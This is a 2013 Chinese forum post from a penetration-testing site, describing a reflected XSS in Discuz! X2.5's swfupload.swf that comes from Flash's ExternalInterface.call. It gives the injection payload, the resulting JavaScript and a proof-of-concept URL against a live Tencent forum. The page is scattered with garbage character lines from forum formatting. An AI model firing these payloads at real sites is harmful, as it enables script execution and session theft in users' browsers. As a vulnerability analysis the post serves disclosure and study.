中国网络渗透测试联盟
标题:
Flash应用安全系列[2]--Discuz! X2.5反射型跨站
[打印本页]
作者:
admin
时间:
2013-2-23 12:50
标题:
Flash应用安全系列[2]--Discuz! X2.5反射型跨站
上回我们说
6 p' n" G9 q2 u# E( |$ C) E4 R
- b; m2 ~0 f8 p; b
flash.external.ExternalInterface.call($methodName, $parameter)
) F& \# N; ^& P' \) a0 `! N
在浏览器中执行的是
4 V0 m6 r& r' i/ o6 {; n$ F1 e6 T
3 Y' ^4 _9 _' o( h9 `
try { __flash__toXML($methodName("$parameter")) ; } catch (e) { "<undefined/>";}
; }. B$ }4 S2 U+ b& |( Z5 `! _
对于第一个传入的$methodName,flash player在输出js函数时是未经过任何编码的,上个例子里$methodName是全部可控的,但是我们知道了执行脚本的原理后,$methodName只需要部分可控,我们也可以通过注入特殊字符以达到执行任意JS代码的目的。比如
' S% F) X- V: K& S* |' q
4 n! F9 U; @$ n) G$ N" j) B
flash.external.ExternalInterface.call("object."+$methodName, $parameter)
, _: d* q2 O, h: f, B- y" C
$methodName = a())}catch(e){alert(/xss/)}//
1 o5 K/ U/ T" x) e$ v/ i
结果是不存在object.a方法,跳到catch,执行我们构造的任意JS。
! J$ V) j- D8 v
. b7 M1 \1 e( C5 C N, y8 I
try { __flash__toXML(object.a())}catch(e){alert(/xss/)}//("$parameter")) ;}catch (e) { "<undefined/>"; }
" s, q; e+ Z: ~ t% D
( A! G; w r$ z$ }1 }% M! l/ j
这类xss的最有名的实例就是在去年年中爆出的Wordpress的xss,乌云上也有这个漏洞的分析( WooYun: WordPress反射型XSS )
' D# x! d/ n- Q h
杯具的是,Discuz! X2.5中采用了一个同样的一个swfupload模块,而且还是修复前的版本。
) X5 P9 g% A+ G4 C* S7 M8 `1 Y6 @$ U
Z+ b- ~6 h `
( x4 g% U2 d8 u- F8 f. v+ X2 A
, ]; @0 ~' V, z3 N! F( h3 T5 n
漏洞文件:upload\static\image\common\swfupload.swf
- F; ^7 j1 ]& T$ u4 a# n
: @! L" s" ~/ U4 G$ K4 N) S
原始SWF下载:
http://swfpoc.appspot.com/vul/discuz_swfupload.swf
- k7 y3 U: `8 n( M; m# t! O/ F$ W3 O
. C7 n4 U' V/ P4 p
( N* c9 a |( }
漏洞证明:
http://bbs.open.qq.com/static/im ... d.swf?movieName=%22
])}catch(e){if(!window.x){window.x=1;alert(/xss/)}}//
1 @& E: P: k6 ^
+ q( N* u& Y3 Z+ z; s
0 a3 v: ]4 k- K! z4 B
欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/)
Powered by Discuz! X3.2